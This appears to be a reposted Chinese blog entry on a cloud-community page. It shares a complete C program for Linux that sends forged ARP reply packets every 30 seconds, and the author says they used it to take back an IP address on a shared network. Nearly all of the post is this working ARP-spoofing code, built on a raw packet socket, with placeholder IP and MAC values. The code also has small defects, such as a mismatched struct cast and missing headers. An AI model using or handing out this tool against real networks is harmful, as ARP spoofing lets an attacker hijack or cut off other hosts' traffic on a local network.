linux下ARP欺騙程式

來源:互聯網
上載者:User
    很久以前寫的一個arp reply程式,關鍵時刻有時能派上用場,儲存一下。有次自己伺服器的IP不知道被哪個組的搶了,導致上不了網,而網管又找不到是哪台伺服器。實在沒有辦法,只用用此程式奪回了自己的IP。注意這裡IP地址和MAC地址都是假的。
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <net/ethernet.h>
  4. #include <netinet/if_ether.h>
  5. #include <netinet/in.h>
  6. #include <sys/socket.h>
  7. #define SRC_IP "238.221.236.83"
  8. #define TARGET_IP "238.221.236.119"
  9. short SRC_MAC[]={0x00,0x03,0x1A,0x01,0x00,0x00};
  10. short TARGET_MAC[]={0x00,0x12,0x25,0x9D,0xC1,0xF0};
  11. void send_arp_reply(void);
  12. int main(int argc ,char *args[])
  13. {
  14.     while(1)
  15.     {
  16.         send_arp_reply();
  17.         sleep(30);
  18.     }
  19.     return 0;
  20. }
  21. void send_arp_reply(void)
  22. {
  23.     struct ether_header *eth_hdr;
  24.     struct ether_arp *arp;
  25.     char datagram[60];
  26.     eth_hdr=(struct ether_header *)datagram;
  27.     memset(datagram,0,sizeof(datagram));
  28.     //set the ethernet header
  29.     eth_hdr->ether_dhost[0]=TARGET_MAC[0];
  30.     eth_hdr->ether_dhost[1]=TARGET_MAC[1];
  31.     eth_hdr->ether_dhost[2]=TARGET_MAC[2];
  32.     eth_hdr->ether_dhost[3]=TARGET_MAC[3];
  33.     eth_hdr->ether_dhost[4]=TARGET_MAC[4];
  34.     eth_hdr->ether_dhost[5]=TARGET_MAC[5];
  35.     eth_hdr->ether_shost[0]=SRC_MAC[0];
  36.     eth_hdr->ether_shost[1]=SRC_MAC[1];
  37.     eth_hdr->ether_shost[2]=SRC_MAC[2];
  38.     eth_hdr->ether_shost[3]=SRC_MAC[3];
  39.     eth_hdr->ether_shost[4]=SRC_MAC[4];
  40.     eth_hdr->ether_shost[5]=SRC_MAC[5];
  41.     eth_hdr->ether_type=htons(ETHERTYPE_ARP);
  42.     //set the arp header 
  43.     arp=(struct arp*)(datagram+sizeof(struct ether_header));    
  44.     arp->arp_hrd=htons(ARPHRD_ETHER);
  45.     arp->arp_pro=htons(ETHERTYPE_IP);
  46.     arp->arp_hln=6;
  47.     arp->arp_pln=4;
  48.     arp->arp_op=htons(2);
  49.     //arp body
  50.     //sender MAC and IP
  51.     memcpy((void*)arp->arp_sha,(void*)eth_hdr->ether_shost,6);
  52.     struct in_addr inadd_sender;
  53.     inet_aton(SRC_IP,&inadd_sender);
  54.     memcpy((void*)arp->arp_spa,(void*)&inadd_sender,4);
  55.     //target MAC and IP
  56.     memcpy((void*)arp->arp_tha,(void*)eth_hdr->ether_dhost,6);
  57.     struct in_addr inadd_target;
  58.     inet_aton(TARGET_IP,&inadd_target); 
  59.     memcpy((void *)arp->arp_tpa,(void*)&inadd_target,4);
  60.     //establish socket
  61.     int fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP));
  62.     if(fd<0)
  63.     {
  64.         perror("socket");
  65.         exit(-1);
  66.     }
  67.     struct sockaddr sa;
  68.     strcpy(sa.sa_data,"eth0");
  69.     sendto(fd,datagram,sizeof(datagram),0,&sa,sizeof(sa));
  70.     
  71.     close(fd);
  72.     return ;
  73. }

具體報文格式參考:<<TCP/IP詳解>> 一書

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.